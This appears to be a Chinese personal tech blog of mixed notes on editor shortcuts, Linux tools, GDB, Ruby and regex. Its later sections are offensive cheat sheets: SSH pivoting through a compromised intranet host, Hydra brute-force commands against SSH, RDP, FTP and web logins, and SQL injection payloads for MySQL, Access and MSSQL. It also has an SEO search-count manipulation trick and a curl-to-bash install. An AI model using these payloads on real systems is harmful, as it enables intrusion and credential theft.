python:
先按F5,之后将下面的命令保存,再设置快捷键。
1 | cmd /k c:\python27\python "$(FULL_CURRENT_PATH)" & PAUSE & EXIT |
我使用的是Ctrl+F9
之后按Ctrl+s保存更改,再按Ctrl+F7即可快速在cmd中运行代码,方便调试。
ruby
1 | cmd /k C:\Ruby22-x64\bin\ruby "$(FULL_CURRENT_PATH)" & PAUSE & EXIT |
python:
先按F5,之后将下面的命令保存,再设置快捷键。
1 | cmd /k c:\python27\python "$(FULL_CURRENT_PATH)" & PAUSE & EXIT |
我使用的是Ctrl+F9
之后按Ctrl+s保存更改,再按Ctrl+F7即可快速在cmd中运行代码,方便调试。
ruby
1 | cmd /k C:\Ruby22-x64\bin\ruby "$(FULL_CURRENT_PATH)" & PAUSE & EXIT |
对站点简单的做了一点SEO,把一些有用的网址记录一下。
http://tool.lusongsong.com/seo/seo.asp?url=chorder.net&page=60&auto=yes&ttime=30
http://www.seopk.net/?domain=chorder.net
http://seo.itzmx.com/
http://www.atool.org/extlink.php
其原理就是通过增加在站长工具,百度等搜索引擎内搜索相应的次数来提高SEO排名。
tpp:命令行ppt工具
slurm:流量查看工具
script:命令录制
录制:
1 | script -t 2>test.time -a test.txt |
播放:
1 | scriptreplay test.time test.txt |
fortune/fortune-zh:随机输出短语和诗词
cowsay:以动物的形象说话
联合起来使用:
1 | fortune-zh|cowsay -f "$(ls /usr/share/cowsay/cows | sort -R | head -1)" |
cmatrix:
toilet:输出ASCII艺术字
figlet:另一款将字符进行图形化输出
xeyes:在屏幕上显示一只会随鼠标移动而移动的眼睛
彩蛋:星球大战在线播放
1 | telnet towel.blinkenlights.nl |
使用GDB对GCC编译出的ELF文件进行调试。
首先在编译的时候,需要加上-g参数:
gcc -g -o test test.c -Wall
这样才能在编译的时候产生符号表,GDB才可以载入。
编译好程序以后,使用gdb test载入程序
添加断点:b 行号
运行:r
单步执行(next):n
跟踪步入(step):s
恢复执行(continue):c
打印变量值(print):p 变量名
查看断点信息:info b
列出源代码(list)l
退出:q
汇编相关:
查看汇编格式:show disassembly-flavor
将汇编格式转换成intel:set disassembly-flavor intel
将汇编格式转换成at&t:set disassembly-flavor att
显示汇编代码:disassemble 函数名
在很多时候拿到了内网的一台主机,我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多,meterpreter,nc等等。但是最方便也最有可能穿透防火墙的方法,就是用ssh。
分为四种类型:
本地转发,远程转发,跳板转发,动态转发。
本地转发
假设攻击机A主机为本机,ip是y.y.y.y,用户是hacker,被攻击且用作跳板的主机是B,ip是
x.x.x.x,对应的内网ip是10.0.0.2,用户是root,ssh的端口是22。
假设B机器上的80端口开放了一个服务,但是只有B主机本机上才能访问,这时候可以使用本地转
发,在A机器上执行命令:
1 | ssh -L 8080:localhost:80 [email protected] |
这样,在本机A中访问localhost:80,数据被转发到B主机的80端口,即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器,但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问,这时候就可以通过这种方式转发流量,方便的操作
网关服务器的web控制台了。
上面的情况,是基于A主机可以ssh到B的情况,但假如从A到B的ssh连接被拒绝,而恰好B主机的
防火墙没有禁止其使用ssh外连,这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令:
1 | ssh -R 8080:localhost80 [email protected] |
这时候在A机器上访问自身的8080端口,数据也是被转发到了B主机的80端口上的。
可见,这种方式受到的局限比较多,因为如果能够在B主机上使用ssh外连了,还需要通过ssh来
转发流量的情况也是很少见的,但也不是没有。
以上两种转发,都是只对跳板服务器自身的服务,很多时候,渗透需要的是内网中一台稳定的跳板,
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板,来访问与B处于同一内网中的机器C的80端口,假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令:
1 | ssh -g -L 8080:10.0.0.3:80 [email protected] |
此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的,
动态转发,这种转发可以将流量随心所欲的转发,此时实现的效果就相当于代理服务器,在A机器
上用下面的命令实现:
1 | ssh -D 8080 [email protected] |
此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令,其实很简单:
1 | ssh -X [email protected] |
这样连接上以后,目标机器的X服务器所做的操作都会通过x协议发送到本地,很方便的实现了可
视化操作。
例如在终端输入firefox,就可以在本地弹出一个实际上运行在远程的firefox进程。
1.数组遍历方法总结
(1)
1 | array = (1..10).to_a |
(2)
1 | length = array.length |
(3)
1 | length = array.length-1 |
(4)
1 | for i in array do |
(6)
1 | length = array.length |
(7)
1 | length = array.length |
(8)
1 | array.each_index do i |
2.Ruby连接数据库
(1).mysql
1 | require 'mysql' |
(2).redis
1 | #!/bin/ruby |
(3).sqlite3
1 | require 'sqlite3' |
3.Ruby socket
服务端:
1 | require 'socket' |
客户端:
1 | require 'socket' |
4.ruby gem 文档
rubygems.org上main的gem文档访问起来太慢了,其实装了gem的机器本身就自带doc的功能
使用下列命令可以启动gem自带的文档
1 | gem server --port 1234 |
然后用浏览器访问http://localhost:1234就可以查看相关的gem文档。
5.ruby改变控制台输出内容的颜色
1 | puts "\033[1m前景色\033[0m\n" |
6.一些比较特别的包
Ruby json gem
https://rubygems.global.ssl.fastly.net/gems/json-1.8.3.gem
树莓派wiringpi gpio包
http://pi.gadgetoid.com/article/wiringpi-as-a-ruby-gem
7.安装rvm的正确姿势
参考自:http://rvm.io/rvm/install
首先添加gpg公钥:
1 | gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 |
安装稳定版本的rvm
1 | curl -sSL https://get.rvm.io | bash -s stable --ruby |
Usage: zmap [OPTIONS]… [SUBNETS]…
基本参数:
1 | -p, --target-port=port 要扫描的TCP端口号(SYN扫描) |
扫描选项:
1 | -n, --max-targets=n 指定探测目标的最大数目(数字或者地址空间的百分比) |
网络选项:
1 | -s, --source-port=portrange 扫描包的源端口 |
高级选项:
1 | -M, --probe-module=name 选择探测模式(默认是tcp_synscan) |
附加选项:
1 | -C, --config=filename 从文件中读取指定的配置选项(默认是/etc/zmap/zmap.conf) |
示例:
1 | zmap -p 80 -o - (扫描整个因特网寻找80端口开放的主机并输出到标准输入输出) |
(版本 Hydra v8.0)
语法:
1 | hydra [[[-l LOGIN-L FILE] [-p PASS-P FILE]] [-C FILE]] [-e nsr] [-o FILE] |
选项:
-l name or -L login.txt 使用用户名name破解, 或从login.txt中加载用户名
-p password or -P password.txt 使用password尝试,或从password.txt中加载密码
-C FILE 加载以”login:pass” 格式分割的用户名和密码文件, 来取代-L/-P选项
-M FILE 每一行分别列出要攻击的服务器列表, ‘:’指定端口
-t TASKS 爆破每个主机同时运行的任务数默认是16
-U 服务模块使用细节(hydra -U rdp)
-h 完整帮助
可选的服务:
asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{headget}
http[s]-{getpost}-form http-proxy http-proxy-urlenum icq imap[s] irc
ldap2[s] ldap3[-{cramdigest}md5][s] mssql mysql nntp oracle-listener
oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin
rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn
teamspeak telnet[s] vmauthd vnc xmpp
示例:
爆破ftp:
1 | hydra -l user -P passlist.txt ftp://192.168.0.1 |
爆破windows rdp:
1 | hydra rdp://192.168.0.1/firstdomainname -l john -p doe |
爆破ssh:
1 | hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh |
爆破telnet:
1 | hydra IP telnet -l username -P password.txt -t 32 -s 23 -e ns -f -V |
爆破http-post-form:
http-post-form需要从web表单中请求页面和参数
1 | 语法: <url>:<form parameters>:<condition string>[:<optional>[:<optional>] |
构成
普通字符a~z
特殊字符(元字符)
普通字符
指没有显式指定为元字符的所有可打印和不可打印字符。包括所有大写和小写字母、所有数字、
所有标点符号和一些其他符号。
非打印字符
非打印字符也可以是正则表达式的组成部分。以下是表示非打印字符的转义序列:
cx 匹配由x指明的控制字符。例如, cM 匹配一个 Control-M 或回车符。x 的值必须为
A-Z 或 a-z 之一。否则,将 c 视为一个原义的 ‘c’ 字符。
f 匹配一个换页符。等价于 x0c 和 cL。
n 匹配一个换行符。等价于 x0a 和 cJ。
r 匹配一个回车符。等价于 x0d 和 cM。
s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ fnrtv]。
S 匹配任何非空白字符。等价于 [^ fnrtv]。
t 匹配一个制表符。等价于 x09 和 cI。
v 匹配一个垂直制表符。等价于 x0b 和 cK。
特殊字符
指有特殊含义的字符。若要匹配这些特殊字符,必须首先对字符进行转义。
$ 匹配输入字符串的结尾位置。
如果设置了 RegExp 对象的 Multiline 属性,
则 $ 也匹配 ‘n’ 或 ‘r’。要匹配 $ 字符本身,请使用 $。
() 标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \)。
* 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*。
+ 匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 \+。
. 匹配除换行符 n之外的任何单字符。要匹配 .,请使用 \.。
[] 标记一个中括号表达式的开始。要匹配 [,请使用 \[。
? 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \?。
将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如, ‘n’
匹配字符 ‘n’。’n’ 匹配换行符。序列 ‘\‘ 匹配 “”,而 ‘(‘ 则匹配 “(“。
^ 匹配输入字符串的开始位置,除非在方括号表达式中使用,此时它表示不接受该字符集合。
要匹配 ^ 字符本身,请使用 ^。
{} 标记限定符表达式的开始。要匹配 {,请使用 \{。
一些例子
匹配页面中所有的a标签
<[a|A].*?href=[\'\"]{0,1}([^>\'\"\ ]*).*?>
MYSQL篇
1.内置函数和变量
1 | @@datadir,version(),database(),user(),load_file(),outfile() |
2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:
1 | xxx.php?id=1 and 1=2 union select 1, |
3.使用内建数据库查询表段和字段
查表段:
1 | xxx.php?id=1 and 1=2 union select 1,2,table_name from |
查字段:
1 | xxx.php?id=1 and 1=2 union select 1,2,column_name from |
这里可以再结合下concat的拼接功能
1 | xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) |
Access篇
猜表名
1 | *.asp?id=1 and exists (select * from admin) |
猜列名
1 | *.asp?id=1 and exists (select password from admin) |
Order by查询
1 | *.asp?id=1 order by 3 |
union 查询
1 | *.asp?id=1 union select 1,password,3 from admin |
不支持union的情况
先判断内容的长度
1 | *.asp?id=132 and (select top 1 len(user) from admin) >5 |
然后一个一个猜
1 | *.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97 |
例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜
1 | *.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97 |
以此类推
MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL
1 | 'and exists (select * from sysobjects) -- |
如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。
猜表名:
1 | 'and exists(select * from admin)-- |
如果存在,会返回正常页面,否则报错,就是不存在。
待续
Update your browser to view this website correctly. Update my browser now